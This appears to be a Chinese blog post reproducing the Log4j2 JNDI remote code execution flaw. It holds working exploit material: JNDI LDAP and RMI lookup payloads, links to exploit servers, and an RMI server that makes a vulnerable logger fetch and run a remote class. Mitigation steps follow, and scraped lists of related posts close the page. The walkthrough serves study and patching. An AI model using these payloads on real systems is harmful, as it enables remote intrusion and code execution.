令无数程序员加班的 Log4j2 远程执行漏洞复现
前情提要
Apache 存在 Log4j 远程代码执行漏洞,将给相关企业带来哪些影响?还有哪些信息值得关注?
构建maven项目引入Log4j2
编写 pom 文件
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId>
<artifactId>Log4j-rce</artifactId>
<version>1.0-SNAPSHOT</version> <dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.13.3</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.13.3</version>
</dependency> </dependencies> <properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties> </project>
编写测试代码
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager; public class log4jRCE {
private static final Logger logger = LogManager.getLogger(log4jRCE.class);
public static void main(String[] args) {
// 避免因为Java版本过高而无法触发此漏洞
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
// 此处ip需要使用本机局域网ip或网络ip,不能使用127.0.0.1
logger.error("${jndi:ldap://ip:1389/Basic/Command/calc}");
}
}
下载 JNDI 测试服务器
到 https://github.com/feihong-cs/JNDIExploit
或者
https://github.com/welk1n/JNDI-Injection-Exploit
下载 JNDIExploit 测试服务器
本次使用 JNDIExploit 举例
下载完成后使用
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ip
启动服务器
然后运行之前的Log4j2项目即可出现如图所示效果

加载运行自己的 class 类
编写 RMI服务器
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; /**
* @author Pu Zhiwei
* create 2021-12-11 22:06
*/
public class RMIServer {
public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
try {
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry(); System.out.println("Create RMI registry on port 1099!");
// 前两个参数为类名,第三个参数为远程类地址
Reference reference = new Reference("Test", "Test", "http://192.168.0.105:8080/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}
编写测试类
public class Test {
static {
System.out.println("你好 Log4j2");
}
}
然后启动一个 http 服务器,将编译好的测试类放入 http 服务器的根目录,你可以直接使用python的http服务器
python -m http.server 8080
修改 Log4j2 项目内容为
logger.error("${jndi:rmi://192.168.0.105:1099/evil}");
运行项目即可看到 Test 类已被执行

之后你就可以通过修改 Test 类实现更多操作。
如何防范
升级 Log4j2 到最新版本
使用最新版 JDK
临时解决方案:
设置 jvm 参数 “-Dlog4j2.formatMsgNoLookups=true”
在项目 classpath 目录下添加 log4j2.component.properties 配置文件,设置 log4j2.formatMsgNoLookups=true
设置系统环境变量:“LOG4J_FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS” 设置为 “true”
END
本文首发于 https://www.buguagaoshu.com/archives/log4j2yuan-cheng-zhi-xing-lou-dong-fu-xian
转载请注明来源
令无数程序员加班的 Log4j2 远程执行漏洞复现的更多相关文章
- Apache log4j2 远程代码执行漏洞复现👻
Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...
- Tomcat/7.0.81 远程代码执行漏洞复现
Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...
- Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御
摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...
- Apache SSI 远程命令执行漏洞复现
Apache SSI 远程命令执行漏洞复现 一.漏洞描述 当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令. 使 ...
- Windows CVE-2019-0708 远程桌面代码执行漏洞复现
Windows CVE-2019-0708 远程桌面代码执行漏洞复现 一.漏洞说明 2019年5月15日微软发布安全补丁修复了CVE编号为CVE-2019-0708的Windows远程桌面服务(RDP ...
- ThinkPHP 5.x远程命令执行漏洞复现
ThinkPHP 5.x远程命令执行漏洞复现 一.漏洞描述 2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.th ...
- IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现
CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...
- IIS6远程代码执行漏洞复现CVE-2017-7269
简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ...
- thinkphp远程执行漏洞的本地复现
thinkphp远程执行漏洞的本地复现 0X00漏洞简介 由于ThinkPHP5 框架控制器名 没有进行足够的安全监测,导致在没有开启强制路由的情况下,可以伪装特定的请求可以直接Getshell(可以 ...
随机推荐
- .Net Core微服务——Ocelot(3):超时、熔断、限流
基本概念 超时.熔断.限流听起来好像很远,但实际上用在方方面面.很多人可能还搞不懂熔断是做什么,其实可以把熔断理解为一种防护措施.做个假设,在微服务体系下,某个下游服务响应很慢,然后随着时间推移,会有 ...
- windonw10 ,python3.7安装gevent
前言:gevent协程,网上找到安装gevent 需要安装grennlent. 1.首先根据版本下载相应的gevent模块,可以去官方下,我是在这里下载的.http://www.lfd.uci.edu ...
- php 图像和水印
生成图像 $img = imagecreate(400,400); imagecolorallocate($img,255,255,255); imageellipse($img,200,200,50 ...
- 【linux系统】命令学习(八)bash 编程实战学习
常见shell : bash sh zsh windows: git bash cygwin MAC : terminal iterm netstat 是linux下用于显示网络状态的命令.通 ...
- Spark-StructuredStreaming 下的checkpointLocation分析以及对接 Grafana 监控和提交Kafka Lag 监控
一.Spark-StructuredStreaming checkpointLocation 介绍 Structured Streaming 在 Spark 2.0 版本于 2016 年引入, 是基于 ...
- [atAGC045C]Range Set
首先我们可以把所有位置都变为1,因此不妨假设$a\le b$ 一个字符串$s$合法当且仅当:将其中每一段长度不小于$a$的0变成1后,存在一段1的长度都不小于$b$ 证明:我们称$S_{a,b}$为通 ...
- [atARC105D]Let's Play Nim
先对$n$分奇偶两种情况考虑-- $n$为奇数,显然先手希望最终产生的$x_{1}\oplus x_{2}\oplus...\oplus x_{n}=0$ 对于后手,考虑构造:将最大的未被选择的$a_ ...
- [loj3274]变色龙之恋
首先有一个暴力的做法,将任意两个点判断,可以得到与之相关的1或3只变色龙:1只是两只变色龙相互喜欢,那么剩下那只就是颜色相同:3只从3只选2只并和自己判断一次,结果为1的那次剩下的那个就是他喜欢的,然 ...
- FastAPI(六十二)实战开发《在线课程学习系统》需求分析
前言 基础的分享我们已经分享了六十篇,那么我们这次分享开始将用一系列的文章分享实战课程.我们分享的系统是在线学习系统.我们会分成不同的模块进行分享.我们的目的是带着大家去用fastapi去实战一次,开 ...
- vue 3 学习笔记 (六)——watch 、watchEffect 新用法
选项式API与之前写法相同,本篇文章主要通过 Options API 和 Composition API 对比 watch 的使用方法,让您快速掌握 vue3 中 watch 新用法.建议收藏! 一. ...